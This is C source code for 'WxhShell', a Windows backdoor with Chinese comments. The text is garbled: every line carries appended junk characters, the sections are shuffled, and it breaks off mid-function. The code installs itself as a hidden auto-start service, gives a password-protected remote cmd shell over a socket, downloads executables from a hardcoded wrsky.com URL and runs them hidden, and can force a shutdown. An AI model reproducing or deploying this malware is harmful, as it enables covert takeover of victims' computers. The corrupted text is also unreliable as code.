    if(Boot(SHUTDOWN))  k6O. H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;n} >C' :  
    else { (rr}Pv%yb  
    closesocket(wsh); Gg9VS&VI  
    ExitThread(0); @q&|MMLt  
    } ?L@@;tt  
    break; WDE e$k4.  
    } !.3R~0b  
  // 获取shell l801` ~*gO  
  case 's': { cGE=.  
    CmdShell(wsh); Z6Nj<2u2  
    closesocket(wsh); pd4cg?K  
    ExitThread(0); ,\o<y|+`S  
    break; F<Hqo>G  
  } 4L5o\'X  
  // 退出 ieo|%N{'  
  case 'x': { F&QTL-pQW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i s L{9^  
    CloseIt(wsh); {[2tG U9  
    break; }pMP!%|  
    } " F-Y^  
  // 离开 E &7@#'l  
  case 'q': {  c6Lif)4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q !9HA[Ly  
    closesocket(wsh); 'lhP!E_)q  
    WSACleanup(); M[aT2A  
    exit(1); Mo}H_8y  
    break; T&r +G!2  
        } N%9h~G  
  } 1$$37?FE  
  } {ITv&5?>  
5-D`<\  
  // 提示信息 d/XlV]#2x\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A7k'K4  
} O)`fvpVU  
  } Bx(yu'g|a  
! FNf>z+  
  return; 5x8'K7/4.  
} Tu]&^[B('  
Y4mC_4EU  
// shell模块句柄 [E>R.Oe  
int CmdShell(SOCKET sock) fO].e"}  
{ "7Eo>g   
STARTUPINFO si; R? O-x9  
ZeroMemory(&si,sizeof(si)); 8HMo.*Ti9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3p=vz'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rdO@X9z  
PROCESS_INFORMATION ProcessInfo; *FV0Vy  
char cmdline[]="cmd"; )ll?-FZ   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T yU&QXb  
  return 0; q0&Wk"X%rr  
} <rNtY,  
ht?CH Uu  
// 自身启动模式 I-xwJi9?,  
int StartFromService(void) Kw)K A^KF  
{ ~&1KrUu&  
typedef struct ZP"yq6!i  
{ ]Ap`   
  DWORD ExitStatus; z@zD .  
  DWORD PebBaseAddress; <^xfcYx\  
  DWORD AffinityMask; L 5+J ^  
  DWORD BasePriority; U,e'ZRU6  
  ULONG UniqueProcessId; KiQ(XNx  
  ULONG InheritedFromUniqueProcessId; q"S(7xWS  
}   PROCESS_BASIC_INFORMATION; 9"~9hOEct  
(]2<?x*  
PROCNTQSIP NtQueryInformationProcess; )8;{nqoC  
n ]w7Zj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )S^z+3p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q6=MS>JW]w  
l '/N3&5  
  HANDLE             hProcess; 3[VWTq)D=  
  PROCESS_BASIC_INFORMATION pbi; [*<.?9n)or  
(vKI1^,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  }mKwFVZ  
  if(NULL == hInst ) return 0; Zvxp%dES  
pA<eTlH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t\8&*(&3F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q0Xoj__c!A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _z q)0\  
1!!\+ c2*  
  if (!NtQueryInformationProcess) return 0; RU6KIg{H  
Jy9bY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !2z!8kI  
  if(!hProcess) return 0; l]H0g[  
``!GI'^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2}w#3K  
)R~aA#<>  
  CloseHandle(hProcess); (^LS']ybc  
0Q'v HZ"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); & 1[y"S  
if(hProcess==NULL) return 0; ]u+MTW;  
m4@MxQm  
HMODULE hMod; /}=a{J  
char procName[255]; 4d0#86l~J/  
unsigned long cbNeeded; =L"^.c@  
402x<H  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ym\(PCa5`  
ryg4h Hspl  
  CloseHandle(hProcess); .]P2}w)x?  
6UlF5pom  
if(strstr(procName,"services")) return 1; // 以服务启动 UFe(4]^  
[Eu];  
  return 0; // 注册表启动 7:TO\0]2n  
} B oqJ   
bj}=8k0  
// 主模块 Vv8_\^g]  
int StartWxhshell(LPSTR lpCmdLine) /PXioiGcs  
{ Ea4_Qmn  
  SOCKET wsl; If;R?j0;Q  
BOOL val=TRUE; 4O(@'#LLz  
  int port=0; # ORO&78  
  struct sockaddr_in door; Rn-G @}f  
1}}>Un`U5,  
  if(wscfg.ws_autoins) Install(); t,h{+lYU  
Cp^g'&  
port=atoi(lpCmdLine); wz#A1F  
z1vw'VT>  
if(port<=0) port=wscfg.ws_port; Ql &0O27  
`4V"s-T'  
  WSADATA data; ^/dS>_gtHv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \tx%WC  
0I 5&a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v0#*X5C1'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {oUAP1V^  
  door.sin_family = AF_INET; JO=1ivZl  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;wR 'z$8  
  door.sin_port = htons(port); RPH1''*!  
B76 v}O:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vX;HC'%n  
closesocket(wsl);  8gC)5Y  
return 1; Hm fXe  
} wzh ]97b  
GX?*1  
  if(listen(wsl,2) == INVALID_SOCKET) { Km!nM$=k  
closesocket(wsl); R* 9NR,C  
return 1; wAFW*rO5o  
} v$Uhm</|19  
  Wxhshell(wsl); `ZMK9f:  
  WSACleanup(); *V1J4 u  
rwSbqL^eM  
return 0; x6;j<m5Mjx  
g?G+dnl/8  
} J#Z5^)$  
zE|Wn3_sd  
// 以NT服务方式启动 c2*`2qK#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j1q[c,  
{ /YH`4e5g  
DWORD   status = 0; brSi<  
  DWORD   specificError = 0xfffffff; _U0$=V  
{q3:Z{#>7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~e">_;k6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +th%enRB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bA@P}M)X  
  serviceStatus.dwWin32ExitCode     = 0; e;VIL 2|  
  serviceStatus.dwServiceSpecificExitCode = 0; Kesy2mE  
  serviceStatus.dwCheckPoint       = 0; s+Q;pRZW{  
  serviceStatus.dwWaitHint       = 0; " xR[mJ@U  
p'f%%#I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2(M6(xH>  
  if (hServiceStatusHandle==0) return; A}5fCx.{  
4woO;Gm  
status = GetLastError(); l! v!hUb+  
  if (status!=NO_ERROR) S~NM\[S  
{ }]+xFj9[>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yGj.)$1},@  
    serviceStatus.dwCheckPoint       = 0; ;o-yQmdh  
    serviceStatus.dwWaitHint       = 0; xHo&[{  
    serviceStatus.dwWin32ExitCode     = status; Pc_VY>Ty  
    serviceStatus.dwServiceSpecificExitCode = specificError; JOb MZA$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }BJX/, H,  
    return; X!tf#tl  
  } wRtZ `o  
/i_ @  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; k?6z_vu  
  serviceStatus.dwCheckPoint       = 0; feX^~gM  
  serviceStatus.dwWaitHint       = 0; j1-,Sqi  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r$(~j^<s  
} =f1B,%7G+5  
hs+kr?Pg`  
// 处理NT服务事件,比如:启动、停止 T vtm`Yk\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {9LWUCpsf  
{ Bs ;|D  
switch(fdwControl) PdeBDFWD  
{ =ll=)"O  
case SERVICE_CONTROL_STOP: '5KeL3J;  
  serviceStatus.dwWin32ExitCode = 0; o "z@&G" ^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ysi  g T  
  serviceStatus.dwCheckPoint   = 0; 7KjUW\mN2Z  
  serviceStatus.dwWaitHint     = 0; Uf\nFB? ^  
  { 0N:XIGFa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ArK]0$T   
  } 9`Q<Yy"du  
  return; -&2B@]]  
case SERVICE_CONTROL_PAUSE: i38[hQR9a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [KJ q  
  break; q,>?QBct*  
case SERVICE_CONTROL_CONTINUE: YDC&u8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ZD>a>]  
  break; TX [%(ft  
case SERVICE_CONTROL_INTERROGATE: q MYe{{r  
  break; 8, "yNq  
}; x_#-tB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LiQgR 6j  
} I5m][~6.?  
~b~2 >c9  
// 标准应用程序主函数 Jc6R{C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?.=}pAub  
{ |JF@6  
e8=YGx^o`  
// 获取操作系统版本 bM,1f/^  
OsIsNt=GetOsVer(); r|Z5Xc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O$u"/cwe*  
O1&b]C#  
  // 从命令行安装 ^wb:C[r!V  
  if(strpbrk(lpCmdLine,"iI")) Install(); >Z.\J2wM<j  
6uPcXd:8ZR  
  // 下载执行文件 5ExDB6Bx@y  
if(wscfg.ws_downexe) { Px FWJ?=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5N[9 vW  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z;l`YK^-  
} Ev"|FTI/  
\55VqGyxu9  
if(!OsIsNt) { Vr[czfROz'  
// 如果时win9x,隐藏进程并且设置为注册表启动 _nh[(F<hz  
HideProc(); yp.[HMRD  
StartWxhshell(lpCmdLine); v"& pQ  
} a|7a_s4(  
else 1BHG'y  
  if(StartFromService()) y !$alE  
  // 以服务方式启动 VZ& A%UFC  
  StartServiceCtrlDispatcher(DispatchTable); '(Gi F  
else .xhK'}l[  
  // 普通方式启动 X1{[}!  
  StartWxhshell(lpCmdLine); _5 ^I.5Z3  
'B5^P  
return 0; ?S$i?\Qh  
} 7Z ;?b0W  
XQ%4L-rhN  
:r#)z4d5  
azQD>  
=========================================== ev1 W6B-a  
8mTM$#\  
l5xCz=dw  
xL|;VyD  
x<Vm5j  
,GWNL m\5  
" ZF7IL  
;W>Cqg=  
#include <stdio.h> c~QS9)=E  
#include <string.h> =OIw*L8C"I  
#include <windows.h>  qy)_wM  
#include <winsock2.h> ,)PiP/3B  
#include <winsvc.h> ;9o;r)9~  
#include <urlmon.h> [/s&K{+c  
#U8rO;$  
#pragma comment (lib, "Ws2_32.lib") yz8mP3"c:o  
#pragma comment (lib, "urlmon.lib") @%k}FL=:t(  
GdV1^`M6  
#define MAX_USER   100 // 最大客户端连接数 ~Tbj=f  
#define BUF_SOCK   200 // sock buffer 4P^6oh0"  
#define KEY_BUFF   255 // 输入 buffer (C4fG@n  
8 C[/dH  
#define REBOOT     0   // 重启 3(TsgP >`  
#define SHUTDOWN   1   // 关机 dL7E<?l  
Y!iZW  
#define DEF_PORT   5000 // 监听端口 `w I/0  
;%tF58&  
#define REG_LEN     16   // 注册表键长度 T91moRv  
#define SVC_LEN     80   // NT服务名长度 6T 8!xyi-+  
DCqY|4Qc  
// 从dll定义API .ERO|$fv  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Oo kh<ES>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f&v9Q97=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "ju6XdZo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4_Dp+^JF  
`u>4\sv  
// wxhshell配置信息 {*{Ox[Nh{  
struct WSCFG { Eu"_MgD  
  int ws_port;         // 监听端口 'y8]_K*  
  char ws_passstr[REG_LEN]; // 口令 U9b?i$  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~4"qV_M  
  char ws_regname[REG_LEN]; // 注册表键名 WA dCF-S  
  char ws_svcname[REG_LEN]; // 服务名 4pw6bK,s2\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q6YXM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )K &(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 MSf;ZB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;M"9$M'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N F)~W#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :y7c k/>  
w$JvB5O  
}; Eke5Nb  
n:MdYA5,m  
// default Wxhshell configuration 6@DF  
struct WSCFG wscfg={DEF_PORT, /Q,mJ.CnSR  
    "xuhuanlingzhe", J:V?EE,\-  
    1, jy-{~xdg[  
    "Wxhshell", >/|q:b^2r  
    "Wxhshell", /SYw;<=  
            "WxhShell Service", x.S3Zi}=  
    "Wrsky Windows CmdShell Service", M4as  
    "Please Input Your Password: ", f^W;A"+  
  1, 9 (QJT}qC  
  "http://www.wrsky.com/wxhshell.exe", j?'GZ d"B  
  "Wxhshell.exe" .Wjs~0c  
    }; H;RwO@v  
"AE5 V'  
// 消息定义模块 Omd .9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]+X@ 7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t.mVO]dsj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -GxaV #{  
char *msg_ws_ext="\n\rExit."; B}^w_C2  
char *msg_ws_end="\n\rQuit."; 4?B\O`sy.  
char *msg_ws_boot="\n\rReboot..."; AK@9?_D  
char *msg_ws_poff="\n\rShutdown..."; c/sC&i;%O  
char *msg_ws_down="\n\rSave to "; dAuJXGo  
p5G?N(l  
char *msg_ws_err="\n\rErr!"; S]+ :{9d  
char *msg_ws_ok="\n\rOK!"; K6R.@BMN  
TYW&!sm  
char ExeFile[MAX_PATH]; p, #o<W  
int nUser = 0; ob8qe,_'  
HANDLE handles[MAX_USER]; 4:FK;~wM&x  
int OsIsNt; ~@}Bi@*  
5{g?,/(  
SERVICE_STATUS       serviceStatus; %7|9sQ:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; rW$[DdFA5{  
s0vDHkf8  
// 函数声明 \-g)T}g,I  
int Install(void); |ZmUNiAa  
int Uninstall(void); VVlr*`  
int DownloadFile(char *sURL, SOCKET wsh); q<M2,YrbAI  
int Boot(int flag); wpN=,&!  
void HideProc(void); q@{Bt{$x  
int GetOsVer(void); lnjXD oVb<  
int Wxhshell(SOCKET wsl); 5 sX+~Q  
void TalkWithClient(void *cs); vam;4vyu  
int CmdShell(SOCKET sock); 5aCgjA11  
int StartFromService(void); ?` ?)QE8  
int StartWxhshell(LPSTR lpCmdLine);  094o'k  
m;,N)<~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mHRiugb!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PpzP7  
'tH_p  
// 数据结构和表定义 s%W C/ZK  
SERVICE_TABLE_ENTRY DispatchTable[] = ,y#Kv|R  
{ ;=MU';o  
{wscfg.ws_svcname, NTServiceMain}, K|epPGRr  
{NULL, NULL} {z{bY\  
}; yK=cZw%D  
.6Pw|xu`Pw  
// 自我安装 5?x>9C a  
int Install(void) wfH^<jY)E  
{ I`!<9OTBj  
  char svExeFile[MAX_PATH]; 6^`1\ #f  
  HKEY key; K|[*t~59  
  strcpy(svExeFile,ExeFile); 2GDD!w#!j  
.:F%_dS D  
// 如果是win9x系统,修改注册表设为自启动 %xI p5h]  
if(!OsIsNt) { ;>Ib^ov  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @J/K-.r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); koug[5T5  
  RegCloseKey(key); ) AvN\sC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { glDu2a,Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); , K~}\CR  
  RegCloseKey(key); {ttysQ-  
  return 0; te-jfmu2  
    } J| w>a  
  } \| 8  
} Wi)_H$KII  
else { .[ICx  
1G^`-ri6  
// 如果是NT以上系统,安装为系统服务 Hquc o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `r9!zffyS  
if (schSCManager!=0) m+]K;}.}R  
{ X aMJDa|M  
  SC_HANDLE schService = CreateService e w$ B)W  
  ( g,!L$,/F  
  schSCManager, ?Lk)gO^C  
  wscfg.ws_svcname, \"P%`  C  
  wscfg.ws_svcdisp, V2wb%;q  
  SERVICE_ALL_ACCESS, sBT2j~jhJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [M=7M}f;  
  SERVICE_AUTO_START, QTk}h_<u  
  SERVICE_ERROR_NORMAL, !$gR{XH$]  
  svExeFile, GjvOM y  
  NULL, VA#"r!1  
  NULL, I&x=;   
  NULL, 9y"@(  
  NULL, i9,ge Q7d  
  NULL p8Qk 'F=h  
  ); SE1=>S%p  
  if (schService!=0) '-Vt|O_Q  
  { I 5^!y  
  CloseServiceHandle(schService); I;wp':  
  CloseServiceHandle(schSCManager); t.i 8 2Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;DfY#-  
  strcat(svExeFile,wscfg.ws_svcname); _@ qjV~%Sy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;U+3w~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vN;N/mL  
  RegCloseKey(key); 2K/4Rf0;  
  return 0; nAsh:6${  
    } <L8'!q}  
  } TNe l/   
  CloseServiceHandle(schSCManager); @@Kp67Iv  
} 8V`WO6*  
} EE06h-ns  
&5B'nk"  
return 1; vXrx{5gz  
} YYBDRR"  
(c=6yV@  
// 自我卸载 2DrP"iGq5  
int Uninstall(void) z]_wjYn Z  
{ 7x|9n  
  HKEY key;  UD2C>1j  
dy%;W%  
if(!OsIsNt) { B9jC?I |`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vc;$-v$&  
  RegDeleteValue(key,wscfg.ws_regname); B" 1c  
  RegCloseKey(key); Bq%Jh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |4;Fd9q^m  
  RegDeleteValue(key,wscfg.ws_regname); ,~N/- 5  
  RegCloseKey(key); IL#"~D?  
  return 0; @k,#L`3^  
  } PR#exm&  
} Fo5FNNiID  
} q376m-+  
else { Tztu}t]N  
LM<qT-/qs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;PF<y9M  
if (schSCManager!=0) -A^_{4X  
{ 'T*&'RQr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _^Ubs>d=*  
  if (schService!=0) dd%6t  
  { 5}l[>lF  
  if(DeleteService(schService)!=0) { C!<Ou6}!b  
  CloseServiceHandle(schService); r= `Jn6@  
  CloseServiceHandle(schSCManager); l`lk-nb  
  return 0; i#n0U/  
  } G:<aB  
  CloseServiceHandle(schService); V(I8=rVH  
  } tKOmoC  
  CloseServiceHandle(schSCManager); ? =Z?6fw  
} @1roe G  
} Cw3 a0u  
GY'%+\*tj  
return 1; Ko<:Z)PS  
} <`=j^LU  
;WQve_\  
// 从指定url下载文件 8b& /k8i:  
int DownloadFile(char *sURL, SOCKET wsh) DMr\ TN  
{ E4jNA }3k+  
  HRESULT hr; Qz1E 2yJ  
char seps[]= "/"; Q~ w|#  
char *token; W' VslZG  
char *file; 7;(`MIFXs  
char myURL[MAX_PATH]; Gx/Oi)&/  
char myFILE[MAX_PATH]; $t[FH&c(  
q6luUx,@m  
strcpy(myURL,sURL); GR_-9}jQP  
  token=strtok(myURL,seps); L~OvY  
  while(token!=NULL) "%w u2%i  
  { Dw.J2>uj  
    file=token; Czu9o;xr  
  token=strtok(NULL,seps); zR:L! S  
  } IHac:=*Q  
v@L;x [Q  
GetCurrentDirectory(MAX_PATH,myFILE); %J?xRv!  
strcat(myFILE, "\\"); ?);v`]  
strcat(myFILE, file); !wVM= z^G  
  send(wsh,myFILE,strlen(myFILE),0); B~ GbF*j  
send(wsh,"...",3,0); +7.',@8_V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Xc-'Y"}|`t  
  if(hr==S_OK) E{`fF8]K  
return 0; f}P3O3Yv&  
else pz*3N  
return 1; FcU SE  
14yv$,  
} Ow,w$0(D  
"<1{9  
// 系统电源模块 g8% &RG  
int Boot(int flag) ##>H&,Dp[  
{ 0S!K{xyR  
  HANDLE hToken; ?k{?GtSs  
  TOKEN_PRIVILEGES tkp; f2`2,?  
V U3upy<  
  if(OsIsNt) { K w ]=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %7.30CA|#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VpDbHAg  
    tkp.PrivilegeCount = 1; n{mfn *r.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?Z/V~,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .#8 JCY  
if(flag==REBOOT) { oZ|\vA%4^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >|UOz&  
  return 0; W/h[A3 `3N  
} @:#eb1 <S  
else { + cN8Y}V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (f"4,b^]  
  return 0; [{,1=AB  
} xwo<' xT  
  } ZD{LXJ{Vm  
  else { *$g-:ILRuZ  
if(flag==REBOOT) { }pkzH'$HJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UJ   
  return 0; <RL]  
} W'M*nR|xo  
else { 3.y vvPFEM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H4+i.*T#  
  return 0; c\j/k[\<  
} oUlVI*~ND  
} 4o[{>gW  
pEA:L$&  
return 1; a\*yZlXKs  
} + {'.7#  
oEpFuWp%A  
// win9x进程隐藏模块 PCtzl )  
void HideProc(void) j0q&&9/Jj  
{ 1$h,m63)  
)8ZH-|N`!E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Jln:`!#fDf  
  if ( hKernel != NULL ) }Zp,+U*"  
  { #Gi$DMW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `Urhy#LC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rYk0 ak  
    FreeLibrary(hKernel); S,8e lKH4  
  } d&>^&>?$zh  
%8v\FS  
return; zfdl45  
} ~a2}(]  
'~ 47)fN  
// 获取操作系统版本 @2i9n  
int GetOsVer(void) #KvlYZ+1  
{ #AY&BWS$  
  OSVERSIONINFO winfo; {oL>1h,%3?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Dw"\/p:-3  
  GetVersionEx(&winfo); .e-#yET  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1xvu<|F  
  return 1; #<xm.  
  else kq-) ^,{y  
  return 0; B33\?Yj)  
} @O~pV`_tD  
7t3!) a|lI  
// 客户端句柄模块 x?<FJ"8"k  
int Wxhshell(SOCKET wsl) [#iz/q~}  
{ !()Qm,1u  
  SOCKET wsh; _yT Ed"$  
  struct sockaddr_in client; ^ZCD ~P_=  
  DWORD myID; RM/ 0A|  
0*v2y*2V  
  while(nUser<MAX_USER) 2~2 O V  
{ q.}CU.dp  
  int nSize=sizeof(client); !5N.B|N t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -Qe'YBy:  
  if(wsh==INVALID_SOCKET) return 1; _e2=ado  
{4PwLCy  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2KZneS`  
if(handles[nUser]==0) & 5R&k0i r  
  closesocket(wsh); H,NF;QPPC  
else lLIA w$  
  nUser++; '<uq3?5  
  } \)Cl%Em  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8?C5L8)  
&e3.:[~_?  
  return 0; KY^Z  
} Yr|4Fl~U  
J~- 4C)  
// 关闭 socket 8cQ'dL`(  
void CloseIt(SOCKET wsh) ,"ql5Q4  
{ 3$JoDL(Z  
closesocket(wsh);  =BrRYA  
nUser--; F:ELPs4"  
ExitThread(0); W{aY}`  
} |f##5fB  
fc@A0Hf  
// 客户端请求句柄 y+q5UC|  
void TalkWithClient(void *cs) #fM'>$N  
{ hv+zGID7  
1YMh1+1  
  SOCKET wsh=(SOCKET)cs; XfmwVjy  
  char pwd[SVC_LEN]; DTs;{c  
  char cmd[KEY_BUFF]; Ap !lQ>p  
char chr[1]; D`AsRd  
int i,j; QSj]ZA  
<-0]i_4sK  
  while (nUser < MAX_USER) { P|> ~_$W  
h7@6T+#WoT  
if(wscfg.ws_passstr) { K+iP 6B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oXS}IL og'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YbLW/E\T  
  //ZeroMemory(pwd,KEY_BUFF); 2+O'9F_v  
      i=0; -^wl>}#*T3  
  while(i<SVC_LEN) { U ;I9 bK8  
 C.QO#b  
  // 设置超时 8EEuv-aeo  
  fd_set FdRead; t >sE x:  
  struct timeval TimeOut; 6zn5UW#q  
  FD_ZERO(&FdRead); `,0}ZzaV&  
  FD_SET(wsh,&FdRead); b>$S<td  
  TimeOut.tv_sec=8; 3N:D6w-R  
  TimeOut.tv_usec=0; j~QwV='S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]{LjRSV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GH xp7H  
q,6DEz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c:g'.'/*  
  pwd=chr[0]; p<;0g9,1  
  if(chr[0]==0xd || chr[0]==0xa) { WN<zkM~3  
  pwd=0; ]cruF#`%  
  break; { BHO/q3  
  } t0I{q0  
  i++; } d }lR  
    } 3k?X-|O8AZ  
-!9G0h&i|  
  // 如果是非法用户,关闭 socket Y4(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UY 2OZ& &  
} YAmb`CP  
<^uBoKB/f  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <Ok3FE.K  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8KNZ](Dj  
xP,hTE  
while(1) { F}q c0  
DFTyMB1H  
  ZeroMemory(cmd,KEY_BUFF); k;L6R!V  
eR"<33{  
      // 自动支持客户端 telnet标准   }iuw5dik+  
  j=0; kSh( u  
  while(j<KEY_BUFF) { *WT`o>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fd2T=fz-  
  cmd[j]=chr[0]; &8 x-o,  
  if(chr[0]==0xa || chr[0]==0xd) { \'bzt"f$j  
  cmd[j]=0; l/awS!Q/nF  
  break; ?I@W:#>o  
  } xZv#Es%#  
  j++; YUIi;  
    } VU d\QR-  
I 2|Bg,e  
  // 下载文件 {Dmjm{   
  if(strstr(cmd,"http://")) { 1y4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |H+Wed|  
  if(DownloadFile(cmd,wsh)) &pp|U}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y.r+wc]  
  else ( ICd}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nu7 !8[?r*  
  } ^M>P:~  
  else { R!N%o~C2-  
<yFu*(Q  
